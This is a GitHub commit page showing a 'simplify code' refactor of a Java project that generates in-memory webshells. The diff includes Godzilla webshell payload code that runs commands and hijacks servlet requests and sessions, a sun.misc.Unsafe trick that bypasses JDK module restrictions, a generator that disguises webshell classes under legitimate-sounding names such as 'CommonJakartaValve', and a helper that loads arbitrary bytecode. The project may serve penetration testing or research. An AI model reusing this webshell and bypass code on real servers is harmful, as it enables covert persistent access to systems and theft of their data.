Skip to content

Commit b955ecd

Browse files
committed
refactor: simplify code
1 parent 26d07f5 commit b955ecd

File tree

10 files changed

+32
-54
lines changed

10 files changed

+32
-54
lines changed

generator/src/main/java/com/reajason/javaweb/buddy/ByPassJdkModuleInterceptor.java

Lines changed: 2 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -27,11 +27,9 @@ public static void enter(@Advice.Origin Class<?> clazz, @Advice.Return(readOnly
2727
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
2828
unsafeField.setAccessible(true);
2929
Object unsafe = unsafeField.get(null);
30-
java.lang.reflect.Method getModuleM = Class.class.getMethod("getModule");
31-
Object module = getModuleM.invoke(Object.class, (Object[]) null);
30+
Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null);
3231
java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
33-
java.lang.reflect.Field moduleF = Class.class.getDeclaredField("module");
34-
Long offset = (Long) objectFieldOffsetM.invoke(unsafe, moduleF);
32+
Long offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
3533
java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
3634
getAndSetObjectM.invoke(unsafe, clazz, offset, module);
3735
returnValue = true;

generator/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java

Lines changed: 6 additions & 10 deletions
Large diffs are not rendered by default.

generator/src/main/java/com/reajason/javaweb/godzilla/Payload.java

Lines changed: 7 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -77,7 +77,7 @@ public byte[] run() throws Exception {
7777
}
7878
if (methodName != null) {
7979
if (className == null) {
80-
Method method = getClass().getMethod(methodName, null);
80+
Method method = getClass().getMethod(methodName);
8181
Class<?> returnType = method.getReturnType();
8282
Class<?> cls = class$0;
8383
if (cls == null) {
@@ -89,7 +89,7 @@ public byte[] run() throws Exception {
8989
}
9090
}
9191
if (returnType.isAssignableFrom(cls)) {
92-
return (byte[]) method.invoke(this, null);
92+
return (byte[]) method.invoke(this);
9393
}
9494
return "this method returnType not is byte[]".getBytes();
9595
}
@@ -251,13 +251,13 @@ private void handlePayloadContext(Object obj) {
251251
Method getServletContextMethod = getMethodByClass(obj.getClass(), "getServletContext", null);
252252
Method getSessionMethod = getMethodByClass(obj.getClass(), "getSession", null);
253253
if (getRequestMethod != null && this.servletRequest == null) {
254-
this.servletRequest = getRequestMethod.invoke(obj, null);
254+
this.servletRequest = getRequestMethod.invoke(obj);
255255
}
256256
if (getServletContextMethod != null && this.servletContext == null) {
257-
this.servletContext = getServletContextMethod.invoke(obj, null);
257+
this.servletContext = getServletContextMethod.invoke(obj);
258258
}
259259
if (getSessionMethod != null && this.httpSession == null) {
260-
this.httpSession = getSessionMethod.invoke(obj, null);
260+
this.httpSession = getSessionMethod.invoke(obj);
261261
}
262262
} catch (Exception e) {
263263
}
@@ -758,7 +758,7 @@ public byte[] execCommand() {
758758
int argsCount = Integer.parseInt(argsCountStr);
759759
if (argsCount > 0) {
760760
for (int i = 0; i < argsCount; i++) {
761-
String val = get(String.format("arg-%d", new Integer(i)));
761+
String val = get(String.format("arg-%d", i));
762762
if (val != null) {
763763
argsList.add(val);
764764
}
@@ -1053,7 +1053,7 @@ public Map getEnv() {
10531053
}
10541054
}
10551055
if (returnType.isAssignableFrom(cls2)) {
1056-
return (Map) method.invoke(null, null);
1056+
return (Map) method.invoke(null);
10571057
}
10581058
return null;
10591059
} catch (Exception e) {

generator/src/main/java/com/reajason/javaweb/memsell/GodzillaGenerator.java

Lines changed: 1 addition & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,5 @@
11
package com.reajason.javaweb.memsell;
22

3-
import com.reajason.javaweb.buddy.ByPassJdkModuleInterceptor;
43
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
54
import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper;
65
import com.reajason.javaweb.config.Constants;
@@ -9,7 +8,6 @@
98
import net.bytebuddy.implementation.FieldAccessor;
109
import net.bytebuddy.implementation.Implementation;
1110
import net.bytebuddy.implementation.SuperMethodCall;
12-
import net.bytebuddy.jar.asm.Opcodes;
1311
import net.bytebuddy.matcher.ElementMatchers;
1412
import org.apache.commons.codec.digest.DigestUtils;
1513

@@ -26,10 +24,6 @@ public static byte[] generate(Class<?> godzillaClass, String godzillaClassName,
2624
}
2725

2826
public static byte[] generate(Class<?> godzillaClass, String godzillaClassName, String pass, String key, String headerName, String headerValue, boolean useJakarta, int targetJdkVersion) {
29-
return generate(godzillaClass, godzillaClassName, pass, key, headerName, headerValue, useJakarta, targetJdkVersion, true);
30-
}
31-
32-
public static byte[] generate(Class<?> godzillaClass, String godzillaClassName, String pass, String key, String headerName, String headerValue, boolean useJakarta, int targetJdkVersion, boolean changeClassVersion) {
3327
String md5Key = DigestUtils.md5Hex(key).substring(0, 16);
3428
String md5 = DigestUtils.md5Hex(pass + md5Key).toUpperCase();
3529
Implementation.Composable fieldSets = SuperMethodCall.INSTANCE
@@ -42,9 +36,7 @@ public static byte[] generate(Class<?> godzillaClass, String godzillaClassName,
4236
DynamicType.Builder<?> builder = new ByteBuddy().redefine(godzillaClass)
4337
.name(godzillaClassName);
4438

45-
if (changeClassVersion) {
46-
builder = builder.visit(new TargetJDKVersionVisitorWrapper(targetJdkVersion));
47-
}
39+
builder = builder.visit(new TargetJDKVersionVisitorWrapper(targetJdkVersion));
4840

4941
if (useJakarta) {
5042
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
package com.reajason.javaweb.util;
2+
3+
public class ClassDefiner extends ClassLoader {
4+
private ClassDefiner() {
5+
}
6+
7+
public static Class<?> defineClass(byte[] code) {
8+
return new ClassDefiner().defineClass(null, code, 0, code.length);
9+
}
10+
}

generator/src/main/java/com/reajason/javaweb/util/ClassUtils.java

Lines changed: 1 addition & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -13,9 +13,7 @@ public class ClassUtils {
1313

1414
@SneakyThrows
1515
public static Class<?> defineClass(byte[] bytes) {
16-
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
17-
defineClass.setAccessible(true);
18-
return (Class<?>) defineClass.invoke(ClassUtils.class.getClassLoader(), bytes, 0, bytes.length);
16+
return ClassDefiner.defineClass(bytes);
1917
}
2018

2119
@SneakyThrows
@@ -37,21 +35,4 @@ public static Object invokeMethod(Object object, String methodName, Class<?>[] p
3735
method.setAccessible(true);
3836
return method.invoke(object, parameters);
3937
}
40-
41-
public static void byPassJdkModule() {
42-
try {
43-
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
44-
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
45-
unsafeField.setAccessible(true);
46-
Object unsafe = unsafeField.get(null);
47-
java.lang.reflect.Method getModuleM = Class.class.getMethod("getModule");
48-
Object module = getModuleM.invoke(Object.class, (Object[]) null);
49-
java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
50-
java.lang.reflect.Field moduleF = Class.class.getDeclaredField("module");
51-
Long offset = (Long) objectFieldOffsetM.invoke(unsafe, moduleF);
52-
java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
53-
getAndSetObjectM.invoke(unsafe, ClassUtils.class, offset, module);
54-
} catch (Exception ignored) {
55-
}
56-
}
5738
}

generator/src/main/java/com/reajason/javaweb/util/CommonUtil.java

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -10,6 +10,7 @@
1010
* @author ReaJason
1111
*/
1212
public class CommonUtil {
13+
1314
public static byte[] gzipCompress(byte[] data) throws IOException {
1415
ByteArrayOutputStream out = new ByteArrayOutputStream();
1516
try (GZIPOutputStream gzip = new GZIPOutputStream(out)) {

generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaValveTest.java

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,9 @@
11
package com.reajason.javaweb.memsell.tomcat.godzilla;
22

3+
import com.reajason.javaweb.config.Constants;
34
import com.reajason.javaweb.memsell.GodzillaGenerator;
45
import com.reajason.javaweb.util.ClassUtils;
56
import lombok.SneakyThrows;
6-
import net.bytebuddy.jar.asm.Opcodes;
77
import org.apache.commons.codec.binary.Base64;
88
import org.junit.jupiter.api.Test;
99

@@ -36,7 +36,7 @@ void generate() {
3636
@SneakyThrows
3737
void generateJakarta() {
3838
String className = "org.apache.utils.CommonJakartaValve";
39-
byte[] bytes = GodzillaGenerator.generate(GodzillaValve.class, className, pass, key, headerName, headerValue, true, Opcodes.V11, false);
39+
byte[] bytes = GodzillaGenerator.generate(GodzillaValve.class, className, pass, key, headerName, headerValue, true, Constants.DEFAULT_VERSION);
4040
// Files.write(Paths.get(className + ".class"), bytes);
4141
Object obj = ClassUtils.newInstance(bytes);
4242
assertEquals(className, obj.getClass().getName());

integration-test/src/test/java/com/reajason/javaweb/integration/CommandShellTool.java

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -14,6 +14,7 @@
1414
import okhttp3.OkHttpClient;
1515
import okhttp3.Request;
1616
import okhttp3.Response;
17+
import org.junit.jupiter.api.Disabled;
1718
import org.junit.jupiter.api.Test;
1819

1920
import java.util.Objects;
@@ -28,6 +29,7 @@
2829
public class CommandShellTool {
2930

3031
@Test
32+
@Disabled
3133
void testGenerate() {
3234
String content = generate(Server.TOMCAT, CommandShellConfig.builder().paramName("cmd").build(), TomcatShell.JAKARTA_FILTER, Opcodes.V11, Packer.INSTANCE.ScriptEngine);
3335
System.out.println(content);

vul-webapp/src/main/java/ScriptEngineServlet.java

Lines changed: 0 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,11 +1,9 @@
1-
import javax.script.ScriptEngineFactory;
21
import javax.script.ScriptEngineManager;
32
import javax.script.ScriptException;
43
import javax.servlet.ServletException;
54
import javax.servlet.http.HttpServlet;
65
import javax.servlet.http.HttpServletRequest;
76
import javax.servlet.http.HttpServletResponse;
8-
import javax.xml.bind.DatatypeConverter;
97
import java.io.IOException;
108

119
/**

0 commit comments

Comments
 (0)